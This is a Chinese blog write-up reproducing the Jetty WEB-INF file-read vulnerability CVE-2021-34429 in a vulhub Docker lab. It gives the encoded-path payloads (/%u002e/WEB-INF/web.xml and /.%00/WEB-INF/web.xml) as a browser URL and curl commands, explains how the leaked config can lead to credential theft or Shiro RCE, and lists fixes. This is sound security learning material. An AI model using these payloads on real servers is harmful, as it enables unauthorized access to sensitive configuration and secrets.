[ vulhub漏洞复现篇 ] Jetty WEB-INF 文件读取复现CVE-2021-34429
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、漏洞描述
- 三、影响范围
- 四、指纹信息
- 五、环境搭建
- 六、漏洞复现
- 1、浏览器复现
- 2、Linux复现
- 七、WEB-INF/web.xml介绍
- 八、漏洞修复
- 九、相关资源
一、漏洞编号
CVE-2021-34429
二、漏洞描述
Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
可以使用一些编码字符来制作URI,以访问WEB-INF目录的内容和/或绕过一些安全限制。默认合规模式允许带有包含 %u002e 段的 URI 的请求访问WEB-INF目录中的受保护资源。
例如,/%u002e/WEB-INF/web.xml可以检索 web.xml 文件的请求。这可能会泄露有关 Web 应用程序实现的敏感信息。同样,编码的空字符可能会阻止正确的规范化,因此/.%00/WEB-INF/web.xml也会检索 web.xml 文件。此漏洞是CVE-2021-28164和CVE-2021-28169的新的绕过方式。
三、影响范围
9.4.37 ≤ Eclipse Jetty ≤ 9.4.42
10.0.1 ≤ Eclipse Jetty ≤ 10.0.5
11.0.1 ≤ Eclipse Jetty ≤ 11.0.5
四、指纹信息
"match": "server_contains",
"content": "jetty"
"match": "banner_contains",
"content": "jetty"
五、环境搭建
由于前面写了十几篇详细的搭建过程,搭建过程都差不多,以后我就不写那么的详细了,我就不截图了,只把命令打出来
1、进入 CVE-2021-34429环境
cd vulhub/jetty/CVE-2021-34429
2、启动 CVE-2021-34429环境
docker-compose up -d
3、查看 CVE-2021-34429环境
docker-compose ps
4、访问 CVE-2021-34429环境
http://192.168.13.131:8080/
5、查看 CVE-2021-34429提示信息
cat README.md
6、关闭 CVE-2021-34429环境
docker-compose down
六、漏洞复现
1、浏览器复现
http://192.168.13.131:8080/
访问http://192.168.13.131:8080/WEB-INF/web.xml出现404回显页面
http://192.168.13.131:8080/WEB-INF/web.xml
绕过限制访问web.xml
http://192.168.13.131:8080/%u002e/WEB-INF/web.xml
2、Linux复现
利用curl工具
curl -v 'http://192.168.13.131:8080/WEB-INF/web.xml'
绕过限制访问web.xml
curl -v 'http://192.168.13.131:8080/%u002e/WEB-INF/web.xml'
七、WEB-INF/web.xml介绍
其实就是一个WEB-INF/web.xml泄露之前,我们了解以下web.xml是一个什么样的文件,以及它的泄露会出现哪些问题。直接看WEB-INF这个文件夹吧。
WEB-INF主要包含以下内容:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。
在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。可能允许攻击者进一步升级。举两个例子:
Spring - 特权/访问权限的提升
在这种环境下,可能会从application.properties文件中泄漏敏感属性,例如 spring.datasource.url、spring.elasticsearch.rest.password、spring.h2.console.settings.web-admin-password、spring.influx.password、 spring.ldap.password 等
Apache Shiro - 远程代码执行
在这种环境下,可能会泄漏包含securityManager.rememberMeManager.cipherKey. 此密钥可用于通过rememberMecookie 中的反序列化来获取针对应用程序的远程代码执行。
八、漏洞修复
1、下载官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。
https://www.eclipse.org/jetty/download.php
2、使用补丁版本,如9.4.43, 10.0.6, 11.0.6
3、官网建议,可以部署一些 Jetty重写规则,将原始请求 URI 中包含编码点段或空字符的任何请求重写为已知未找到的资源
https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
九、相关资源
1、Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
https://blog.csdn.net/qq_51577576/article/details/126800538
3、谷歌安装hackbar插件
https://blog.csdn.net/qq_51577576/article/details/122225228
4、docker 搭建 vulhub 靶场环境:
https://blog.csdn.net/qq_51577576/article/details/125048165